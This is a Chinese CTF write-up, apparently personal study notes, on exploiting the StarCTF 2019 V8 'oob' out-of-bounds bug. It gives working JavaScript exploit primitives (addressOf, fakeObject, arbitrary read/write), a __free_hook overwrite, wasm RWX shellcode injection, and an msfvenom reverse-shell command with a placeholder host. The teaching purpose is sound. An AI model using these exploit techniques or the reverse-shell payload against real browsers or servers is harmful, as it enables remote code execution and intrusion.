StarCTF 2019 OOB
前言
最近想多尝试一下不同的东西,这道OOB的资料比较多(后来事实证明只需要看姚老板一人的博客就够了),所以就花了两天调了一下,exp基本都是亦步亦趋地跟着学长写的,这篇博客算是读书笔记2333。
浏览器pwn常见形式
看师傅的总结一般有两种形式:出题人给个diff文件,里面有漏洞代码,给定一个漏洞版本的commit,编译前将源码reset到这个版本,再把diff文件apply上去,编译得到二进制文件d8。
编译d8
折腾环境可以先看下我之前的博客,其实总结一下就是想办法找个好代理后面就没什么大问题了,有谷歌云的也可以那边clone再scp回来不过比较麻烦。
1 | git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 |
编译出来的debug版本不能调用漏洞函数oob,只能在release中调用,而我们后面调试东西也不能在release中用job命令(这块很重要因为这个坑我编译了8.1的GDB= =)。所以我们主要是通过debug版本调试数据结构。
准备知识
调试工作
allow-natives-syntax选项
,启动v8的时候设置这个选项,能定义一些v8运行时的支持函数,便于本地调试。一般gdb调试时先gdb ./d8
,在gdb里设置参数set args --allow-natives-syntax ./test.js
使用%DebugPrint(var)
来输出变量var的详细信息,使用%SystemBreak()
触发调试中断
在编译后的目录下有个gdbinit,是v8官方团队给我们调试用的,在~/.gdbinit
source一下那个文件以及目录下的support-v8.py
,再重新加载一下gdbinit配置即可在x64.debug
中调试
常用的命令(本篇用到的)有job
和telescope addr [count]
,第一个命令可以可视化地显示Javascript对象的内存结构,第二个命令输出某个地址及之后count长度的内存数据
调试测试
编写一个测试脚本test.js,内容如下:
1 | var a = [1.1,2.3,3.4,4.4]; |
启动gdb调试d8,run之后看下,输出了a的信息,a作为一个JsArray对象,它的地址为0x3bfd46c4de99
,注意这里的末位9,v8在内容中只有数字和对象两种表示,为了区分二者,v8在所有对象的内存地址的末尾加了1,表示其为一个对象,因此该对象的实际地址为0x3bfd46c4de8
。
1 | DebugPrint: 0x3bfd46c4de99: [JSArray] |
我们用job查看一下对象的结构,可以看到对象的起始位置为map(PACKED_DOUBLE_ELEMENTS表明了它对象类型为这个),实际存放浮点数组元素的地方在elements,我们用telescope查看elements处的元素
1 | gdb-peda$ job 0x3bfd46c4de99 |
可以看到elements实际就在JsArray这个对象前面不远的地方,注意elemets也是一个对象(FixedDoubleArray),实际的元素从elments_addr+0x10
开始存储,这里多打了一个元素,即对象a开头的map,可以看到它就在实际存储元素的数组后面。
1 | gdb-peda$ telescope 0x3bfd46c4de68 |
为了对比,我们再找个对象数组(每个元素都是对象)调试查看
1 | var a = [1.1,2.3,3.4,4.4]; |
下面是a的信息,其对象地址为0x15c096a4dee8
1 | DebugPrint: 0x15c096a4dee9: [JSArray] |
continue,可以看到b的信息。其实际地址为0x15c096a4df48
1 | DebugPrint: 0x15c096a4df49: [JSArray] |
最后程序断到c处我们可以看到其地址为0x15c096a4df88
,elements的内容是其成员对象的地址,而之前浮点数数组的elements就是它的成员浮点数本身。对比一下浮点数组和对象数组,会发现它们的结构很相似,都是在elements的后面紧接着map,不同的是我们输出floatArr[0]输出的是浮点数,objArr[0]输出的是第一个浮点数数组的全部内容,也就是对象的解析方式不同,在v8里,对象的解析情况由map的值表示,这个根据我们的调试也可以大致推测出来,不同对象数组的map值不同。
1 | DebugPrint: 0x15c096a4df89: [JSArray] |
我们尝试在gdb中直接修改内存数据,即将对象数组的map强制修改为浮点数组的,并且输出c[0],测试代码如下:
1 | var a = [1.1,2.3,3.4,4.4]; |
一直走到从c,中间记录下floatArr的map为0x3a73fe2c2ed9
,对象数组的map为0x3a73fe2c2f79
1 | 1.1,2.3,3.4,4.4 |
最后job一下变成了PACKED_ELEMENTS
。注意之前我set用的类型是int所以后面失败了,下面的结果是我第二次跑的结果,因此跟上面的地址有出入,懒得再重复一遍了233,
1 | 0x3f98aecdfc9: [JSArray] |
所以最后再输出arr[0],实际输出的是对象的地址。
小结v8对象结构
通过上述调试过程我们看到一个对象在内存的大致布局如下:
map 表明了一个对象的类型对象b为PACKED_DOUBLE_ELEMENTS类型
prototype prototype
elements 对象元素
length 元素个数
properties 属性
而浮点数组和对象数组又有下面类似的结构(注意其他类型的Array和它相似但不完全相同)
1 | elements ----> +------------------------+ |
漏洞分析
查看给定的diff文件,开始注册了一个函数oob,内部表示为kArrayOob。
1 | diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc |
之后给出oob函数的具体实现:
1 | +BUILTIN(ArrayOob){ |
最后将kArrayOob类型同实现函数关联起来
1 | @@ -368,6 +368,7 @@ namespace internal { |
可以看到具体逻辑在第二部分,其增加的函数oob先判断用户输入参数的个数,参数个数为1时,读取arr[length],否则将用户输入参数的第二个参数赋值给arr[length],注意上述参数个数为c++中的参数个数。
因为c++成员函数的第一个参数一定是this指针,所以上述函数的逻辑是调用oob参数为0时输出arr[length]的内容,否则将第一个参数写入到arr[length]的位置。
oob函数
脚本如下:
1 | var a = [1.1,2,3,4,5,6,7,8]; |
因为我们不能用debug调用oob,又不能在release里用job,所以这里直接分析漏洞,数组的长度为length,元素下标从[0,length-1],这里可以输出和修改arr[length]为数组越界读写。
漏洞利用
有了这个数组越界漏洞,我们要怎样利用呢?下面就牵扯到类型混淆(type confusion)漏洞。根据我们刚才的调试可以发现v8解析一个对象的时候是根据其map值来确定对象属性的,在刚才的浮点数数组对象和对象数组对象的对比中,一旦我们成功将对象数组的map修改成浮点数数组的map值,就可以成功让v8以浮点数数组对象的方式对其进行解析,此时我们输出obj_arr[0]本应输出第一个对象的值,修改之后输出的确实其对象地址,达到读取对象地址的目的。
同样的,如果我们想将一块内存地址以对象的形式解析,我们可以将这个地址放到float_arr里,再将float_arr的map改成对象数组的map,即可让原本是浮点数元素的这个内存地址以对象的形式被解析。也就是说我们可以伪造一个对象。
编写addressOf和fakeObject
首先定义两个全局的Float数组和对象数组,利用oob函数泄露两个数组的Map类型:1
2
3
4
5
6var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
下面实现两个函数
addressOf
泄露给定对象的地址,其中f2i是float2int,1n表示BigNumber
1 | function addressOf(obj) |
编写辅助函数
1 | var buf =new ArrayBuffer(16); |
注意v8会给内存地址+1,所以泄露object地址的时候要将输出结果-1。
同样在构造fake_obj的时候内存中存储的地址为addr+1,得到的obj是一个对象,就不必有什么+-操作了。
构造地址任意读写
有了这俩函数怎么构造地址任意读写呢?下面就得结合上面v8对象内存布局来看:
1 | ArrayObject ---->-------------------------+ |
如果我们在一块内存上部署了上述虚假的内存属性,比如map,prototype,elements指针、length、properties属性,我们就可以用fakeObject把这块内存强制伪造成一个数组对象。
我们构造的这个对象的elements指针是可以控制的,如果我们将这个指针修改成我们想要访问的内存地址,那后续我们访问这个数组对象的内容,实际上就是访问我们修改后的内存地址指向的内容,这样也就实现了对任意指定地址的内容访问读写效果了。
下面是具体的构造:
我们首先创建一个float数组对象fake_array,可以用addressOf泄露fake_array对象的地址,然后根据elements对象与fake_object的内存偏移,可以得出elements地址= addressOf(fake_object) - (0x10 + n * 8)(n为元素个数),而elements+0x10为实际存储元素的位置。
我们提前将fake_object构造为如下的形式:
1 | var fake_array = [ |
则我们可以通过addressOf(fake_array)-0x30计算得到存储数组元素内容的地址,然后使用fakeObject将这个地址转换为对象fake_obj,之后我们访问fake_obj[0],实际上访问的就是0x41414141+0x10的内容(注意实际的元素存储在elements+0x10处)。
下面是地址任意读写的实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];
var fake_arr_addr = addressOf(fake_array);
var fake_object_addr = fake_arr_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
//randomRead
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
//console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
//console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
测试代码可以发现已经能任意读写。
1 | var a = [1.1,2.2,3.3]; |
看到已经成功写入了数据
1 | 0x238dc518f799 <JSArray[3]> |
这里的任意地址写在写高地址的时候会出现问题,地址的低位会被修改出现异常,这里有另一个方式解决这个问题。
DataView对象中的backing_store会指向申请的data_buf,修改backing_store为我们想要写的地址,用DataView对象的setBigUint64方法就可以往指定地址写数据了。
1 | var data_buf = new ArrayBuffer(8); |
正常Pwn题get shell
正常我们获取shell的方法要先泄露libc之后改__free_hook为one_gadget等。
这里泄露libc的方式有两种,分别是稳定泄露和不稳定泄露,稳定的方式我试了下也和姚老板一样没整出来(ubuntu 16.04),这里只讲下不稳定泄露。
任意创建一个数组,输出数组地址,往前搜索内存会发现在前面0xd000多的地方有程序的地址,由此可以算出程序基址,之后用got表泄露libc,改__free_hook即可get shell。
1 | var a = [1.1,2.2,3.3]; |
查看d8地址之后搜索,选一个地址比较高的查看一下(exp是写这篇博客前写的,所以当时选的是另一个地址,exp里有出入)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
880x3a9ed418ddb9 <JSArray[3]>
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
gdb-peda$ vmmap d8
Start End Perm Name
0x000055df6dd59000 0x000055df6dfec000 r--p /home/wz/v8/v8/out.gn/x64.release/d8
0x000055df6dfec000 0x000055df6eab4000 r-xp /home/wz/v8/v8/out.gn/x64.release/d8
0x000055df6eab4000 0x000055df6eaf4000 r--p /home/wz/v8/v8/out.gn/x64.release/d8
0x000055df6eaf4000 0x000055df6eafe000 rw-p /home/wz/v8/v8/out.gn/x64.release/d8
gdb-peda$ find 0x55df6d
Searching for '0x55df6d' in: None ranges
Found 17809 results, display max 256 items:
mapped : 0x3a9ed418016b --> 0x181f49000055df6d
mapped : 0x3a9ed4180193 --> 0x180b71000055df6d
mapped : 0x3a9ed41801a3 --> 0x180801000055df6d
mapped : 0x3a9ed41802a3 --> 0x180b71000055df6d
mapped : 0x3a9ed41802b3 --> 0x181f49000055df6d
mapped : 0x3a9ed41802db --> 0x180b71000055df6d
mapped : 0x3a9ed41802eb --> 0x181f49000055df6d
mapped : 0x3a9ed4180313 --> 0x180b71000055df6d
mapped : 0x3a9ed4180323 --> 0x181f49000055df6d
mapped : 0x3a9ed4180353 --> 0x180b71000055df6d
mapped : 0x3a9ed4180363 --> 0x181f49000055df6d
mapped : 0x3a9ed418038b --> 0x180b71000055df6d
mapped : 0x3a9ed418039b --> 0x181f49000055df6d
mapped : 0x3a9ed41803c3 --> 0x180b71000055df6d
mapped : 0x3a9ed41803d3 --> 0x180801000055df6d
mapped : 0x3a9ed4180583 --> 0x180b71000055df6d
mapped : 0x3a9ed4180593 --> 0x181f49000055df6d
mapped : 0x3a9ed41805bb --> 0x180b71000055df6d
mapped : 0x3a9ed41805cb --> 0x181f49000055df6d
mapped : 0x3a9ed418061b --> 0x180b71000055df6d
mapped : 0x3a9ed418062b --> 0x180801000055df6d
mapped : 0x3a9ed4180733 --> 0x180b71000055df6d
mapped : 0x3a9ed4180743 --> 0x181f49000055df6d
mapped : 0x3a9ed418076b --> 0x180b71000055df6d
--More--(25/257)j
mapped : 0x3a9ed418077b --> 0x181f49000055df6d
mapped : 0x3a9ed41807a3 --> 0x180b71000055df6d
mapped : 0x3a9ed41807b3 --> 0x180941000055df6d
mapped : 0x3a9ed41807f3 --> 0x180b71000055df6d
mapped : 0x3a9ed4180803 --> 0x180801000055df6d
mapped : 0x3a9ed4180903 --> 0x180b71000055df6d
mapped : 0x3a9ed4180913 --> 0x181f49000055df6d
mapped : 0x3a9ed418093b --> 0x180b71000055df6d
mapped : 0x3a9ed418094b --> 0x181f49000055df6d
mapped : 0x3a9ed4180973 --> 0x180b71000055df6d
mapped : 0x3a9ed4180983 --> 0x181f49000055df6d
mapped : 0x3a9ed41809c3 --> 0x180b71000055df6d
mapped : 0x3a9ed41809d3 --> 0x181f49000055df6d
mapped : 0x3a9ed41809fb --> 0x180b71000055df6d
mapped : 0x3a9ed4180a0b --> 0x181f49000055df6d
mapped : 0x3a9ed4180a3b --> 0x180b71000055df6d
mapped : 0x3a9ed4180a4b --> 0x180801000055df6d
mapped : 0x3a9ed4180bf3 --> 0x180b71000055df6d
mapped : 0x3a9ed4180c03 --> 0x181f49000055df6d
mapped : 0x3a9ed4180c2b --> 0x180b71000055df6d
mapped : 0x3a9ed4180c3b --> 0x181f49000055df6d
mapped : 0x3a9ed4180c63 --> 0x180b71000055df6d
mapped : 0x3a9ed4180c73 --> 0x181f49000055df6d
mapped : 0x3a9ed4180c9b --> 0x180b71000055df6d
mapped : 0x3a9ed4180cab --> 0x180b71000055df6d
--More--(50/257)
mapped : 0x3a9ed4180cbb --> 0x180801000055df6d
mapped : 0x3a9ed4180dab --> 0x180b71000055df6d
mapped : 0x3a9ed4180dbb --> 0x180801000055df6d
mapped : 0x3a9ed4180ec3 --> 0x180b71000055df6d
mapped : 0x3a9ed4180ed3 --> 0x180941000055df6d
mapped : 0x3a9ed4180f1b --> 0x180b71000055df6d
mapped : 0x3a9ed4180f2b --> 0x180801000055df6d
mapped : 0x3a9ed4181033 --> 0x180b71000055df6d
mapped : 0x3a9ed4181043 --> 0x181f49000055df6d
mapped : 0x3a9ed4181073 --> 0x180b71000055df6d
mapped : 0x3a9ed4181083 --> 0x181f49000055df6d
gdb-peda$ x/8gx 0x3a9ed4181083 - 3
0x3a9ed4181080: 0x000055df6dff6d40 0x00001ca69a181f49
0x3a9ed4181090: 0x0000000621887fea 0x00000f6ee7b9c469
0x3a9ed41810a0: 0x00001ca69a181f49 0x000000059b40fce6
0x3a9ed41810b0: 0x00000f6ee7b9c4f9 0x00001ca69a180b71
gdb-peda$ vmmap 0x000055df6dff6d40
Start End Perm Name
0x000055df6dfec000 0x000055df6eab4000 r-xp /home/wz/v8/v8/out.gn/x64.release/d8
gdb-peda$ distance 0x000055df6dff6d40 0x000055df6dd59000
From 0x55df6dff6d40 to 0x55df6dd59000: -2743616 bytes, -685904 dwords
最终穷搜的代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16var a = [1.1,2.2,3.3];
var start_addr = addressOf(a) - 0x8000n;
console.log("[*] address of a is 0x"+hex(start_addr));
var leak_d8_addr = 0n;
while(1)
{
start_addr = start_addr - 8n;
leak_d8_addr = read64(start_addr);
if(((leak_d8_addr & 0x0000ff0000000fffn) == 0x0000550000000320n) || ((leak_d8_addr & 0x0000ff0000000fffn) == 0x0000560000000320n)){
console.log("leak process addr success: " + hex(leak_d8_addr));
break;
}
}
console.log("[*] Done.");
proc_base = leak_d8_addr - 0x2b0320n;
console.log("[*] proc base :0x"+hex(proc_base));
后面泄露地址和Getshel的代码(get_shell里销毁对象会调用free_hook):
1 | function get_shell(){ |
最后成功
1 | wz@wz-virtual-machine:~/v8/v8/out.gn/x64.release$ ./d8 exp.js |
wasm get shell
上述方法只能实现本地提权,因为我们的目标是服务器,需要弹shell回来。最好的方法就是找个rwxp的段写shellcode,这部分介绍的就是wasm来帮我们解决问题。
wasm是一个关于面向Web的通用二进制和文本格式的项目,是一种新的字节码格式,类似能在浏览器中运行的二进制文件格式。
在js代码中加入wasm中,程序中会存在一个rwx段,我们可以把sc放到这个段,直接跳过去。
获取wasm段地址
编写一段引入wasm的js代码进行调试,可以在这个网站在线生成wasm代码,代码如下:
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
调试过程如下:
1 | DebugPrint: 0x3850e819fab9: [Function] in OldSpace |
根据上述寻址过程可以寻找rwx段地址,代码如下:
1 | //leak addr |
getshell
利用任意地址写把sc写到这个段,之后通过调用wasm函数获取shell
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
远程getshell
在kali上使用msfvenom生成反弹shell的shellcode
1 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=you_ip_addr LPORT=3389 -f python -o ~/Desktop/shellcode.txt |
在服务上监听3389端口本地执行wasm.js,成功获取到shell